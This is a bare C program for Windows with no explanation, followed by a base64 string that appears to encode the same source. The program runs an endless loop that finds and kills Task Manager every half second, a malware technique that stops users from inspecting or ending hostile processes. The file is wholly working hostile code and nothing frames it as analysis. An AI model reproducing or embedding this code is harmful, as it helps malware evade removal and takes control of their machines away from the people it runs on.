#include <Windows.h>
#include <TlHelp32.h>
void TerminateTaskMgr(void)
{
PROCESSENTRY32 pe32;
HANDLE snapshot = NULL;
HANDLE hProcess = NULL;
DWORD ProcessID = 0;
if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != INVALID_HANDLE_VALUE)
{
RtlZeroMemory(&pe32, sizeof(PROCESSENTRY32));
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(snapshot, &pe32);
do
{
if (lstrcmp(pe32.szExeFile, TEXT("Taskmgr.exe")) == 0)
{
ProcessID = pe32.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &pe32));
if (ProcessID)
{
hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessID);
if (hProcess)
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
}
CloseHandle(snapshot);
}
void TerminateRoutine(void *p)
{
while (1)
{
TerminateTaskMgr();
Sleep(500);
}
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
{
DWORD ThreadID = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TerminateRoutine, NULL, 0, &ThreadID);
WaitForSingleObject(hThread, INFINITE);
}
I2luY2x1ZGUgPFdpbmRvd3MuaD4KI2luY2x1ZGUgPFRsSGVscDMyLmg+CgoKdm9pZCBUZXJtaW5hdGVUYXNrTWdyKHZvaWQpCnsKCVBST0NFU1NFTlRSWTMyIHBlMzI7CglIQU5ETEUgc25hcHNob3QgPSBOVUxMOwoJSEFORExFIGhQcm9jZXNzID0gTlVMTDsKCURXT1JEIFByb2Nlc3NJRCA9IDA7CgoJaWYgKChzbmFwc2hvdCA9IENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdChUSDMyQ1NfU05BUFBST0NFU1MsIDApKSAhPSBJTlZBTElEX0hBTkRMRV9WQUxVRSkKCXsKCQlSdGxaZXJvTWVtb3J5KCZwZTMyLCBzaXplb2YoUFJPQ0VTU0VOVFJZMzIpKTsKCQlwZTMyLmR3U2l6ZSA9IHNpemVvZihQUk9DRVNTRU5UUlkzMik7CgkJUHJvY2VzczMyRmlyc3Qoc25hcHNob3QsICZwZTMyKTsKCQlkbwoJCXsKCQkJaWYgKGxzdHJjbXAocGUzMi5zekV4ZUZpbGUsIFRFWFQoIlRhc2ttZ3IuZXhlIikpID09IDApCgkJCXsKCQkJCVByb2Nlc3NJRCA9IHBlMzIudGgzMlByb2Nlc3NJRDsKCQkJCWJyZWFrOwoJCQl9CgkJfSB3aGlsZSAoUHJvY2VzczMyTmV4dChzbmFwc2hvdCwgJnBlMzIpKTsKCQlpZiAoUHJvY2Vzc0lEKQoJCXsKCQkJaFByb2Nlc3MgPSBPcGVuUHJvY2VzcyhQUk9DRVNTX1RFUk1JTkFURSwgRkFMU0UsIFByb2Nlc3NJRCk7CgkJCWlmIChoUHJvY2VzcykKCQkJCVRlcm1pbmF0ZVByb2Nlc3MoaFByb2Nlc3MsIDApOwoJCQlDbG9zZUhhbmRsZShoUHJvY2Vzcyk7CgkJfQoJfQoJQ2xvc2VIYW5kbGUoc25hcHNob3QpOwp9Cgp2b2lkIFRlcm1pbmF0ZVJvdXRpbmUodm9pZCAqcCkKewoJd2hpbGUgKDEpCgl7CgkJVGVybWluYXRlVGFza01ncigpOwoJCVNsZWVwKDUwMCk7Cgl9Cn0KCmludCBXSU5BUEkgV2luTWFpbihISU5TVEFOQ0UgaEluc3QsIEhJTlNUQU5DRSBoUHJldkluc3QsIExQU1RSIGxwQ21kTGluZSwgaW50IG5DbWRTaG93KQp7CglEV09SRCBUaHJlYWRJRCA9IDA7CglIQU5ETEUgaFRocmVhZCA9IENyZWF0ZVRocmVhZChOVUxMLCAwLCAoTFBUSFJFQURfU1RBUlRfUk9VVElORSlUZXJtaW5hdGVSb3V0aW5lLCBOVUxMLCAwLCAmVGhyZWFkSUQpOwoKCVdhaXRGb3JTaW5nbGVPYmplY3QoaFRocmVhZCwgSU5GSU5JVEUpOwp9